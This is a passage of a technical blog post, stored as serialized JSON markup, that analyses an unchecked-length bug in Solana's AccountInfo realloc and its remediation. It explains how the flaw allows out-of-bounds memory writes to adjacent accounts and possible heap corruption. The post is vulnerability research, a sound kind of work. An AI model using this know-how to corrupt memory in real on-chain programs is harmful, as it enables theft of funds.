16246},{"style":64},[16247],{"type":28,"value":3723},{"type":23,"tag":41,"props":16249,"children":16250},{"style":94},[16251],{"type":28,"value":5860},{"type":23,"tag":41,"props":16253,"children":16254},{"style":70},[16255],{"type":28,"value":3825},{"type":23,"tag":41,"props":16257,"children":16258},{"class":43,"line":76},[16259,16263,16267,16271,16275,16279,16283],{"type":23,"tag":41,"props":16260,"children":16261},{"style":170},[16262],{"type":28,"value":377},{"type":23,"tag":41,"props":16264,"children":16265},{"style":858},[16266],{"type":28,"value":13943},{"type":23,"tag":41,"props":16268,"children":16269},{"style":170},[16270],{"type":28,"value":3017},{"type":23,"tag":41,"props":16272,"children":16273},{"style":858},[16274],{"type":28,"value":13952},{"type":23,"tag":41,"props":16276,"children":16277},{"style":64},[16278],{"type":28,"value":8825},{"type":23,"tag":41,"props":16280,"children":16281},{"style":94},[16282],{"type":28,"value":5860},{"type":23,"tag":41,"props":16284,"children":16285},{"style":70},[16286],{"type":28,"value":183},{"type":23,"tag":24,"props":16288,"children":16289},{},[16290,16292,16298,16300,16311,16313,16319,16321,16327,16329,16334,16336,16341,16343,16353,16354,16361,16362,16369,16376,16378,16384,16386,16392,16394,16399,16401,16406,16408,16414,16416,16421],{"type":28,"value":16291},"That ",{"type":23,"tag":37,"props":16293,"children":16295},{"className":16294},[],[16296],{"type":28,"value":16297},"as_ptr()",{"type":28,"value":16299}," call is ",{"type":23,"tag":458,"props":16301,"children":16304},{"href":16302,"rel":16303},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[462],[16305],{"type":23,"tag":37,"props":16306,"children":16308},{"className":16307},[],[16309],{"type":28,"value":16310},"RefCell::as_ptr()",{"type":28,"value":16312}," due to the ",{"type":23,"tag":37,"props":16314,"children":16316},{"className":16315},[],[16317],{"type":28,"value":16318},"Deref",{"type":28,"value":16320}," impl on ",{"type":23,"tag":37,"props":16322,"children":16324},{"className":16323},[],[16325],{"type":28,"value":16326},"Rc",{"type":28,"value":16328}," (remember also that ",{"type":23,"tag":37,"props":16330,"children":16332},{"className":16331},[],[16333],{"type":28,"value":15495},{"type":28,"value":16335}," itself doesn't behave like a reference, you need to actually ",{"type":23,"tag":2913,"props":16337,"children":16338},{},[16339],{"type":28,"value":16340},"get",{"type":28,"value":16342}," one through ",{"type":23,"tag":458,"props":16344,"children":16347},{"href":16345,"rel":16346},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[462],[16348],{"type":23,"tag":37,"props":16349,"children":16351},{"className":16350},[],[16352],{"type":28,"value":8799},{"type":28,"value":6456},{"type":23,"tag":458,"props":16355,"children":16358},{"href":16356,"rel":16357},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[462],[16359],{"type":28,"value":16360},"and",{"type":28,"value":6456},{"type":23,"tag":458,"props":16363,"children":16366},{"href":16364,"rel":16365},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[462],[16367],{"type":28,"value":16368},"frie",{"type":23,"tag":458,"props":16370,"children":16373},{"href":16371,"rel":16372},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[462],[16374],{"type":28,"value":16375},"nds",{"type":28,"value":16377},"). So from ",{"type":23,"tag":37,"props":16379,"children":16381},{"className":16380},[],[16382],{"type":28,"value":16383},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":28,"value":16385}," we get a ",{"type":23,"tag":37,"props":16387,"children":16389},{"className":16388},[],[16390],{"type":28,"value":16391},"*mut &mut [u8]",{"type":28,"value":16393}," - a ",{"type":23,"tag":2913,"props":16395,"children":16396},{},[16397],{"type":28,"value":16398},"pointer",{"type":28,"value":16400}," to the ",{"type":23,"tag":2913,"props":16402,"children":16403},{},[16404],{"type":28,"value":16405},"slice reference",{"type":28,"value":16407},". From here, we turn the pointer into a ",{"type":23,"tag":37,"props":16409,"children":16411},{"className":16410},[],[16412],{"type":28,"value":16413},"*const u64",{"type":28,"value":16415}," pointer and then offset by 1 ",{"type":23,"tag":37,"props":16417,"children":16419},{"className":16418},[],[16420],{"type":28,"value":8041},{"type":28,"value":16422}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":23,"tag":24,"props":16424,"children":16425},{},[16426,16428,16433,16435,16440,16442,16447,16449,16454,16456,16462],{"type":28,"value":16427},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":23,"tag":458,"props":16429,"children":16431},{"href":16430},"#Towards-safer-unsafe",[16432],{"type":28,"value":16100},{"type":28,"value":16434}," too, I promise. In summary, we're writing the new length as a ",{"type":23,"tag":37,"props":16436,"children":16438},{"className":16437},[],[16439],{"type":28,"value":8041},{"type":28,"value":16441}," to the region starting 8 bytes from the start of the slice ",{"type":23,"tag":2913,"props":16443,"children":16444},{},[16445],{"type":28,"value":16446},"reference",{"type":28,"value":16448}," (the ",{"type":23,"tag":37,"props":16450,"children":16452},{"className":16451},[],[16453],{"type":28,"value":15454},{"type":28,"value":16455},").So, what does ",{"type":23,"tag":37,"props":16457,"children":16459},{"className":16458},[],[16460],{"type":28,"value":16461},"&[T]",{"type":28,"value":16463}," look like in Rust?",{"type":23,"tag":24,"props":16465,"children":16466},{},[16467,16469,16476,16478,16491,16493,16499],{"type":28,"value":16468},"According to ",{"type":23,"tag":458,"props":16470,"children":16473},{"href":16471,"rel":16472},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[462],[16474],{"type":28,"value":16475},"the reference",{"type":28,"value":16477},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":23,"tag":458,"props":16479,"children":16482},{"href":16480,"rel":16481},"https://doc.rust-lang.org/reference/type-layout.html",[462],[16483,16485,16489],{"type":28,"value":16484},"\"Type layout can be changed with each compilation. ",{"type":23,"tag":41,"props":16486,"children":16487},{},[16488],{"type":28,"value":9589},{"type":28,"value":16490}," we only document what is guaranteed today\"",{"type":28,"value":16492},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":23,"tag":37,"props":16494,"children":16496},{"className":16495},[],[16497],{"type":28,"value":16498},"rustc",{"type":28,"value":16500},", the layout is a data pointer followed by the size; essentially the same as:",{"type":23,"tag":31,"props":16502,"children":16505},{"className":16503,"code":16504,"language":3146,"meta":7,"style":7},"language-c shiki shiki-themes slack-dark","// C language\nstruct slice_ref {\n    void* ptr;\n    size_t len;\n};\n",[16506],{"type":23,"tag":37,"props":16507,"children":16508},{"__ignoreMap":7},[16509,16517,16529,16546,16559],{"type":23,"tag":41,"props":16510,"children":16511},{"class":43,"line":44},[16512],{"type":23,"tag":41,"props":16513,"children":16514},{"style":48},[16515],{"type":28,"value":16516},"// C language\n",{"type":23,"tag":41,"props":16518,"children":16519},{"class":43,"line":54},[16520,16524],{"type":23,"tag":41,"props":16521,"children":16522},{"style":64},[16523],{"type":28,"value":9399},{"type":23,"tag":41,"props":16525,"children":16526},{"style":70},[16527],{"type":28,"value":16528}," slice_ref {\n",{"type":23,"tag":41,"props":16530,"children":16531},{"class":43,"line":76},[16532,16537,16541],{"type":23,"tag":41,"props":16533,"children":16534},{"style":64},[16535],{"type":28,"value":16536},"    void",{"type":23,"tag":41,"props":16538,"children":16539},{"style":170},[16540],{"type":28,"value":377},{"type":23,"tag":41,"props":16542,"children":16543},{"style":70},[16544],{"type":28,"value":16545}," ptr;\n",{"type":23,"tag":41,"props":16547,"children":16548},{"class":43,"line":85},[16549,16554],{"type":23,"tag":41,"props":16550,"children":16551},{"style":64},[16552],{"type":28,"value":16553},"    size_t",{"type":23,"tag":41,"props":16555,"children":16556},{"style":70},[16557],{"type":28,"value":16558}," len;\n",{"type":23,"tag":41,"props":16560,"children":16561},{"class":43,"line":105},[16562],{"type":23,"tag":41,"props":16563,"children":16564},{"style":70},[16565],{"type":28,"value":936},{"type":23,"tag":24,"props":16567,"children":16568},{},[16569],{"type":28,"value":16570},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":23,"tag":5436,"props":16572,"children":16573},{},[16574,16579,16597],{"type":23,"tag":421,"props":16575,"children":16576},{},[16577],{"type":28,"value":16578},"Slices are laid out in the precise manner described",{"type":23,"tag":421,"props":16580,"children":16581},{},[16582,16584,16590,16592],{"type":28,"value":16583},"Pointers and ",{"type":23,"tag":37,"props":16585,"children":16587},{"className":16586},[],[16588],{"type":28,"value":16589},"usize",{"type":28,"value":16591}," are the same width as ",{"type":23,"tag":37,"props":16593,"children":16595},{"className":16594},[],[16596],{"type":28,"value":8041},{"type":23,"tag":421,"props":16598,"children":16599},{},[16600,16602,16607],{"type":28,"value":16601},"The ",{"type":23,"tag":37,"props":16603,"children":16605},{"className":16604},[],[16606],{"type":28,"value":15495},{"type":28,"value":16608}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":23,"tag":24,"props":16610,"children":16611},{},[16612,16614,16619,16621,16627,16629,16634,16636,16642,16644,16649,16651,16661],{"type":28,"value":16613},"Assumption #2 is ",{"type":23,"tag":2913,"props":16615,"children":16616},{},[16617],{"type":28,"value":16618},"probably",{"type":28,"value":16620}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":23,"tag":37,"props":16622,"children":16624},{"className":16623},[],[16625],{"type":28,"value":16626},"borrow_mut",{"type":28,"value":16628}," of the ",{"type":23,"tag":37,"props":16630,"children":16632},{"className":16631},[],[16633],{"type":28,"value":15495},{"type":28,"value":16635}," (through ",{"type":23,"tag":37,"props":16637,"children":16639},{"className":16638},[],[16640],{"type":28,"value":16641},"AccountInfo::try_borrow_mut_data()",{"type":28,"value":16643},"), and ",{"type":23,"tag":37,"props":16645,"children":16647},{"className":16646},[],[16648],{"type":28,"value":15495},{"type":28,"value":16650}," is not usable between multiple threads",{"type":23,"tag":15465,"props":16652,"children":16653},{},[16654],{"type":23,"tag":458,"props":16655,"children":16659},{"href":16656,"ariaDescribedBy":16657,"dataFootnoteRef":7,"id":16658},"#user-content-fn-sendsync",[15472],"user-content-fnref-sendsync",[16660],{"type":28,"value":3123},{"type":28,"value":16662},", so we already have exclusive access.",{"type":23,"tag":24,"props":16664,"children":16665},{},[16666,16668,16672],{"type":28,"value":16667},"A few more ",{"type":23,"tag":2913,"props":16669,"children":16670},{},[16671],{"type":28,"value":7106},{"type":28,"value":16673}," things of note, that could have gone badly but didn't:",{"type":23,"tag":417,"props":16675,"children":16676},{},[16677,16719],{"type":23,"tag":421,"props":16678,"children":16679},{},[16680,16682,16688,16690,16695,16697,16702,16704,16709,16711,16717],{"type":28,"value":16681},"By reborrowing the pointer (the ",{"type":23,"tag":37,"props":16683,"children":16685},{"className":16684},[],[16686],{"type":28,"value":16687},"&mut *(\u003Cvalue of type *mut u64>)",{"type":28,"value":16689},"), we've created a reference with an ",{"type":23,"tag":2913,"props":16691,"children":16692},{},[16693],{"type":28,"value":16694},"unbounded lifetime",{"type":28,"value":16696},". Rust is free to infer ",{"type":23,"tag":2913,"props":16698,"children":16699},{},[16700],{"type":28,"value":16701},"any",{"type":28,"value":16703}," lifetime for ",{"type":23,"tag":37,"props":16705,"children":16707},{"className":16706},[],[16708],{"type":28,"value":13943},{"type":28,"value":16710}," (including ",{"type":23,"tag":37,"props":16712,"children":16714},{"className":16713},[],[16715],{"type":28,"value":16716},"'static",{"type":28,"value":16718},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":23,"tag":421,"props":16720,"children":16721},{},[16722,16724,16730,16732,16737,16739,16744,16746,16751,16752,16757,16759,16764,16766,16771,16773,16779,16781,16786,16788,16793,16795,16800,16802,16807,16809,16814],{"type":28,"value":16723},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":23,"tag":37,"props":16725,"children":16727},{"className":16726},[],[16728],{"type":28,"value":16729},"RefMut",{"type":28,"value":16731}," returned from ",{"type":23,"tag":37,"props":16733,"children":16735},{"className":16734},[],[16736],{"type":28,"value":13868},{"type":28,"value":16738},", but the ",{"type":23,"tag":37,"props":16740,"children":16742},{"className":16741},[],[16743],{"type":28,"value":16729},{"type":28,"value":16745}," is dropped at the end of the statement. So, we now have in ",{"type":23,"tag":37,"props":16747,"children":16749},{"className":16748},[],[16750],{"type":28,"value":13943},{"type":28,"value":1990},{"type":23,"tag":2913,"props":16753,"children":16754},{},[16755],{"type":28,"value":16756},"mutable",{"type":28,"value":16758}," pointer to the ",{"type":23,"tag":37,"props":16760,"children":16762},{"className":16761},[],[16763],{"type":28,"value":15495},{"type":28,"value":16765},"'s data, but the ",{"type":23,"tag":37,"props":16767,"children":16769},{"className":16768},[],[16770],{"type":28,"value":15495},{"type":28,"value":16772}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":23,"tag":37,"props":16774,"children":16776},{"className":16775},[],[16777],{"type":28,"value":16778},"Mutex",{"type":28,"value":16780}," instead of a ",{"type":23,"tag":37,"props":16782,"children":16784},{"className":16783},[],[16785],{"type":28,"value":15495},{"type":28,"value":16787}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":23,"tag":37,"props":16789,"children":16791},{"className":16790},[],[16792],{"type":28,"value":13943},{"type":28,"value":16794}," and writing to it ",{"type":23,"tag":2913,"props":16796,"children":16797},{},[16798],{"type":28,"value":16799},"and succeed",{"type":28,"value":16801},", resulting in us writing while another reference is alive. However, since ",{"type":23,"tag":37,"props":16803,"children":16805},{"className":16804},[],[16806],{"type":28,"value":13943},{"type":28,"value":16808}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":23,"tag":37,"props":16810,"children":16812},{"className":16811},[],[16813],{"type":28,"value":3701},{"type":28,"value":16815}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":23,"tag":24,"props":16817,"children":16818},{},[16819,16821,16826],{"type":28,"value":16820},"Ok, now that we've understood what the code is ",{"type":23,"tag":2913,"props":16822,"children":16823},{},[16824],{"type":28,"value":16825},"trying",{"type":28,"value":16827}," to do, let's try to break it, shall we?",{"type":23,"tag":446,"props":16829,"children":16831},{"id":16830},"what-can-go-wrong",[16832],{"type":28,"value":16833},"What can go wrong?",{"type":23,"tag":546,"props":16835,"children":16837},{"id":16836},"contracts",[16838],{"type":28,"value":16839},"Contracts",{"type":23,"tag":24,"props":16841,"children":16842},{},[16843,16845,16850,16852,16857,16859,16864,16866,16871],{"type":28,"value":16844},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":23,"tag":37,"props":16846,"children":16848},{"className":16847},[],[16849],{"type":28,"value":13633},{"type":28,"value":16851},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":23,"tag":37,"props":16853,"children":16855},{"className":16854},[],[16856],{"type":28,"value":13633},{"type":28,"value":16858}," to some large size, past the end of the buffer of roughly ",{"type":23,"tag":37,"props":16860,"children":16862},{"className":16861},[],[16863],{"type":28,"value":15285},{"type":28,"value":16865}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":23,"tag":37,"props":16867,"children":16869},{"className":16868},[],[16870],{"type":28,"value":3701},{"type":28,"value":16872}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":23,"tag":24,"props":16874,"children":16875},{},[16876,16878,16885],{"type":28,"value":16877},"There is ",{"type":23,"tag":458,"props":16879,"children":16882},{"href":16880,"rel":16881},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[462],[16883],{"type":28,"value":16884},"a check",{"type":28,"value":16886}," by the BPF loader, however, and it boils down to:",{"type":23,"tag":31,"props":16888,"children":16890},{"className":2982,"code":16889,"language":2981,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n    || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n    return Err(InstructionError::InvalidRealloc);\n}\n",[16891],{"type":23,"tag":37,"props":16892,"children":16893},{"__ignoreMap":7},[16894,16932,16962,16969,17001],{"type":23,"tag":41,"props":16895,"children":16896},{"class":43,"line":44},[16897,16901,16906,16910,16914,16918,16922,16927],{"type":23,"tag":41,"props":16898,"children":16899},{"style":58},[16900],{"type":28,"value":368},{"type":23,"tag":41,"props":16902,"children":16903},{"style":858},[16904],{"type":28,"value":16905}," post_len",{"type":23,"tag":41,"props":16907,"children":16908},{"style":170},[16909],{"type":28,"value":706},{"type":23,"tag":41,"props":16911,"children":16912},{"style":114},[16913],{"type":28,"value":14284},{"type":23,"tag":41,"props":16915,"children":16916},{"style":70},[16917],{"type":28,"value":1737},{"type":23,"tag":41,"props":16919,"children":16920},{"style":170},[16921],{"type":28,"value":377},{"type":23,"tag":41,"props":16923,"children":16924},{"style":858},[16925],{"type":28,"value":16926},"pre_len",{"type":23,"tag":41,"props":16928,"children":16929},{"style":70},[16930],{"type":28,"value":16931},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":23,"tag":41,"props":16933,"children":16934},{"class":43,"line":54},[16935,16940,16944,16948,16953,16957],{"type":23,"tag":41,"props":16936,"children":16937},{"style":170},[16938],{"type":28,"value":16939},"    ||",{"type":23,"tag":41,"props":16941,"children":16942},{"style":858},[16943],{"type":28,"value":16905},{"type":23,"tag":41,"props":16945,"children":16946},{"style":170},[16947],{"type":28,"value":14186},{"type":23,"tag":41,"props":16949,"children":16950},{"style":70},[16951],{"type":28,"value":16952}," MAX_PERMITTED_DATA_LENGTH ",{"type":23,"tag":41,"props":16954,"children":16955},{"style":64},[16956],{"type":28,"value":8838},{"type":23,"tag":41,"props":16958,"children":16959},{"style":94},[16960],{"type":28,"value":16961}," usize\n",{"type":23,"tag":41,"props":16963,"children":16964},{"class":43,"line":76},[16965],{"type":23,"tag":41,"props":16966,"children":16967},{"style":70},[16968],{"type":28,"value":1559},{"type":23,"tag":41,"props":16970,"children":16971},{"class":43,"line":85},[16972,16976,16980,16984,16988,16992,16997],{"type":23,"tag":41,"props":16973,"children":16974},{"style":58},[16975],{"type":28,"value":1090},{"type":23,"tag":41,"props":16977,"children":16978},{"style":94},[16979],{"type":28,"value":15738},{"type":23,"tag":41,"props":16981,"children":16982},{"style":70},[16983],{"type":28,"value":1737},{"type":23,"tag":41,"props":16985,"children":16986},{"style":94},[16987],{"type":28,"value":15747},{"type":23,"tag":41,"props":16989,"children":16990},{"style":170},[16991],{"type":28,"value":3479},{"type":23,"tag":41,"props":16993,"children":16994},{"style":94},[16995],{"type":28,"value":16996},"InvalidRealloc",{"type":23,"tag":41,"props":16998,"children":16999},{"style":70},[17000],{"type":28,"value":3825},{"type":23,"tag":41,"props":17002,"children":17003},{"class":43,"line":105},[17004],{"type":23,"tag":41,"props":17005,"children":17006},{"style":70},[17007],{"type":28,"value":201},{"type":23,"tag":24,"props":17009,"children":17010},{},[17011,17013,17018,17020,17025],{"type":28,"value":17012},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":23,"tag":2913,"props":17014,"children":17015},{},[17016],{"type":28,"value":17017},"finishes",{"type":28,"value":17019}," execution. ",{"type":23,"tag":2913,"props":17021,"children":17022},{},[17023],{"type":28,"value":17024},"During",{"type":28,"value":17026}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":23,"tag":24,"props":17028,"children":17029},{},[17030,17032,17037,17039,17044,17046,17053],{"type":28,"value":17031},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":23,"tag":2913,"props":17033,"children":17034},{},[17035],{"type":28,"value":17036},"arbitrary",{"type":28,"value":17038}," memory access through a mistakenly-",{"type":23,"tag":37,"props":17040,"children":17042},{"className":17041},[],[17043],{"type":28,"value":13633},{"type":28,"value":17045},"'d account, this falls in the relm of some ",{"type":23,"tag":458,"props":17047,"children":17050},{"href":17048,"rel":17049},"https://en.wikipedia.org/wiki/Buffer_overflow",[462],[17051],{"type":28,"value":17052},"old-school pwning",{"type":28,"value":17054}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":23,"tag":546,"props":17056,"children":17058},{"id":17057},"not-contracts",[17059],{"type":28,"value":17060},"Not-contracts?",{"type":23,"tag":24,"props":17062,"children":17063},{},[17064,17066,17071,17073,17083,17085,17097,17099,17106,17108,17113,17115,17120,17122,17135,17137,17142,17144,17149],{"type":28,"value":17065},"Remember when we said that all this code makes sense ",{"type":23,"tag":2913,"props":17067,"children":17068},{},[17069],{"type":28,"value":17070},"if the data points to the BPF loader's serialized buffer",{"type":28,"value":17072},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":23,"tag":458,"props":17074,"children":17077},{"href":17075,"rel":17076},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[462],[17078],{"type":23,"tag":37,"props":17079,"children":17081},{"className":17080},[],[17082],{"type":28,"value":14930},{"type":28,"value":17084}," are public, and so is its ",{"type":23,"tag":458,"props":17086,"children":17089},{"href":17087,"rel":17088},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[462],[17090,17095],{"type":23,"tag":37,"props":17091,"children":17093},{"className":17092},[],[17094],{"type":28,"value":15114},{"type":28,"value":17096}," method",{"type":28,"value":17098}," (which is ",{"type":23,"tag":458,"props":17100,"children":17103},{"href":17101,"rel":17102},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[462],[17104],{"type":28,"value":17105},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":28,"value":17107},"). The ",{"type":23,"tag":37,"props":17109,"children":17111},{"className":17110},[],[17112],{"type":28,"value":13633},{"type":28,"value":17114}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":23,"tag":37,"props":17116,"children":17118},{"className":17117},[],[17119],{"type":28,"value":14930},{"type":28,"value":17121}," ourselves - potentially through the ",{"type":23,"tag":458,"props":17123,"children":17126},{"href":17124,"rel":17125},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[462],[17127,17133],{"type":23,"tag":37,"props":17128,"children":17130},{"className":17129},[],[17131],{"type":28,"value":17132},"Account",{"type":28,"value":17134}," trait",{"type":28,"value":17136},", which is hardly documented at all and makes ",{"type":23,"tag":2913,"props":17138,"children":17139},{},[17140],{"type":28,"value":17141},"no",{"type":28,"value":17143}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":23,"tag":37,"props":17145,"children":17147},{"className":17146},[],[17148],{"type":28,"value":3701},{"type":28,"value":17150}," buffer.",{"type":23,"tag":24,"props":17152,"children":17153},{},[17154,17156,17167,17169,17175,17177,17183,17185,17198,17200,17205,17207,17212,17214,17219,17221,17226,17228,17233,17235,17240],{"type":28,"value":17155},"One long arm of this is ",{"type":23,"tag":458,"props":17157,"children":17160},{"href":17158,"rel":17159},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[462],[17161],{"type":23,"tag":37,"props":17162,"children":17164},{"className":17163},[],[17165],{"type":28,"value":17166},"solana_sdk::account::Account",{"type":28,"value":17168}," - in the client SDK. It holds an account's data in a ",{"type":23,"tag":37,"props":17170,"children":17172},{"className":17171},[],[17173],{"type":28,"value":17174},"Vec\u003Cu8>",{"type":28,"value":17176},", and it implements ",{"type":23,"tag":37,"props":17178,"children":17180},{"className":17179},[],[17181],{"type":28,"value":17182},"solana_program::account_info::Account",{"type":28,"value":17184}," (the trait from earlier) - by ",{"type":23,"tag":458,"props":17186,"children":17189},{"href":17187,"rel":17188},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[462],[17190,17192],{"type":28,"value":17191},"returning a reference to the contents of that ",{"type":23,"tag":37,"props":17193,"children":17195},{"className":17194},[],[17196],{"type":28,"value":17197},"Vec",{"type":28,"value":17199},". So, ",{"type":23,"tag":37,"props":17201,"children":17203},{"className":17202},[],[17204],{"type":28,"value":13633},{"type":28,"value":17206}," writes the size into the 8 bytes right before ",{"type":23,"tag":37,"props":17208,"children":17210},{"className":17209},[],[17211],{"type":28,"value":3701},{"type":28,"value":17213},"; ",{"type":23,"tag":37,"props":17215,"children":17217},{"className":17216},[],[17218],{"type":28,"value":3701},{"type":28,"value":17220}," is the buffer of a ",{"type":23,"tag":37,"props":17222,"children":17224},{"className":17223},[],[17225],{"type":28,"value":17197},{"type":28,"value":17227},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":23,"tag":37,"props":17229,"children":17231},{"className":17230},[],[17232],{"type":28,"value":14930},{"type":28,"value":17234}," out of an SDK ",{"type":23,"tag":37,"props":17236,"children":17238},{"className":17237},[],[17239],{"type":28,"value":17132},{"type":28,"value":17241}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":23,"tag":446,"props":17243,"children":17245},{"id":17244},"remediation",[17246],{"type":28,"value":17247},"Remediation",{"type":23,"tag":24,"props":17249,"children":17250},{},[17251],{"type":28,"value":17252},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":23,"tag":24,"props":17254,"children":17255},{},[17256,17258,17263,17265,17270,17272,17283,17285,17290,17292,17299],{"type":28,"value":17257},"The sensible thing to do would be to store the initial size in the ",{"type":23,"tag":37,"props":17259,"children":17261},{"className":17260},[],[17262],{"type":28,"value":14930},{"type":28,"value":17264},"... except for the fact that the layout of ",{"type":23,"tag":37,"props":17266,"children":17268},{"className":17267},[],[17269],{"type":28,"value":14930},{"type":28,"value":17271}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":23,"tag":15465,"props":17273,"children":17274},{},[17275],{"type":23,"tag":458,"props":17276,"children":17280},{"href":17277,"ariaDescribedBy":17278,"dataFootnoteRef":7,"id":17279},"#user-content-fn-layout",[15472],"user-content-fnref-layout",[17281],{"type":28,"value":17282},"3",{"type":28,"value":17284}," So, with changing ",{"type":23,"tag":37,"props":17286,"children":17288},{"className":17287},[],[17289],{"type":28,"value":14930},{"type":28,"value":17291}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":23,"tag":458,"props":17293,"children":17296},{"href":17294,"rel":17295},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[462],[17297],{"type":28,"value":17298},"this function",{"type":28,"value":1474},{"type":23,"tag":31,"props":17301,"children":17303},{"className":2982,"code":17302,"language":2981,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n    let key_ptr = self.key as *const _ as *const u8;\n    let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n    *original_data_len_ptr as usize\n}\n",[17304],{"type":23,"tag":37,"props":17305,"children":17306},{"__ignoreMap":7},[17307,17315,17323,17331,17339,17346,17354,17362,17410,17475,17541,17562],{"type":23,"tag":41,"props":17308,"children":17309},{"class":43,"line":44},[17310],{"type":23,"tag":41,"props":17311,"children":17312},{"style":48},[17313],{"type":28,"value":17314},"/// Return the account's original data length when it was serialized for the\n",{"type":23,"tag":41,"props":17316,"children":17317},{"class":43,"line":54},[17318],{"type":23,"tag":41,"props":17319,"children":17320},{"style":48},[17321],{"type":28,"value":17322},"/// current program invocation.\n",{"type":23,"tag":41,"props":17324,"children":17325},{"class":43,"line":76},[17326],{"type":23,"tag":41,"props":17327,"children":17328},{"style":48},[17329],{"type":28,"value":17330},"///\n",{"type":23,"tag":41,"props":17332,"children":17333},{"class":43,"line":85},[17334],{"type":23,"tag":41,"props":17335,"children":17336},{"style":48},[17337],{"type":28,"value":17338},"/// # Safety\n",{"type":23,"tag":41,"props":17340,"children":17341},{"class":43,"line":105},[17342],{"type":23,"tag":41,"props":17343,"children":17344},{"style":48},[17345],{"type":28,"value":17330},{"type":23,"tag":41,"props":17347,"children":17348},{"class":43,"line":155},[17349],{"type":23,"tag":41,"props":17350,"children":17351},{"style":48},[17352],{"type":28,"value":17353},"/// This method assumes that the original data length was serialized as a u32\n",{"type":23,"tag":41,"props":17355,"children":17356},{"class":43,"line":186},[17357],{"type":23,"tag":41,"props":17358,"children":17359},{"style":48},[17360],{"type":28,"value":17361},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":23,"tag":41,"props":17363,"children":17364},{"class":43,"line":195},[17365,17369,17373,17377,17382,17386,17390,17394,17398,17402,17406],{"type":23,"tag":41,"props":17366,"children":17367},{"style":64},[17368],{"type":28,"value":13685},{"type":23,"tag":41,"props":17370,"children":17371},{"style":64},[17372],{"type":28,"value":14582},{"type":23,"tag":41,"props":17374,"children":17375},{"style":64},[17376],{"type":28,"value":13690},{"type":23,"tag":41,"props":17378,"children":17379},{"style":114},[17380],{"type":28,"value":17381}," 